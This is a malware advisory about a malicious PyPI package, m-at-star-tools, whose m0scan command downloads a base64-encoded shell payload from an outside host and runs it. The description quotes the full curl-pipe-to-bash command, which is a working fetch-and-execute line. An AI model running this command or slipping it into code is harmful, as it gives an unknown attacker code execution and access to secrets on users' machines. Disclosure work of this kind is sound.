MAL-2026-4812 Malicious code in m-at-star-tools (PyPI)
- Package
- m-at-star-tools
- Registry
- PyPI
What is MAL-2026-4812?
MAL-2026-4812 is a malicious package in m-at-star-tools, published on 26 May 2026.
Official description
The package's sole console_script m0scan (m0scan/main.py:6-7) executes curl -sL https://mspy.qzz.io/M0scan | base64 -d | bash, fetching an opaque base64-encoded shell payload from a dynamic-DNS-style host (mspy.qzz.io) unrelated to any publisher infrastructure and piping it directly to bash. The fetch is unpinned, unverified (no hash, no signature), obfuscated (base64), and points at a mutable URL — whoever controls mspy.qzz.io/M0scan controls arbitrary code execution on every user who runs the tool. Package metadata is throwaway: author M-AT-STAR, generic GitHub homepage, 5-byte README, no email or license. The package self-describes as an 'M0scan installation wrapper' — the wrapper IS the dropper. Any invocation of the documented CLI yields full attacker code execution on the installer's machine.
The package downloads remote encoded code, which then downloads the next encrypted stage. The encryption of final data requires knowing a code.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-05-m-at-star-tools
Reasons (based on the campaign):
Downloads and executes a remote malicious script.
obfuscation
What should I do about MAL-2026-4812?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.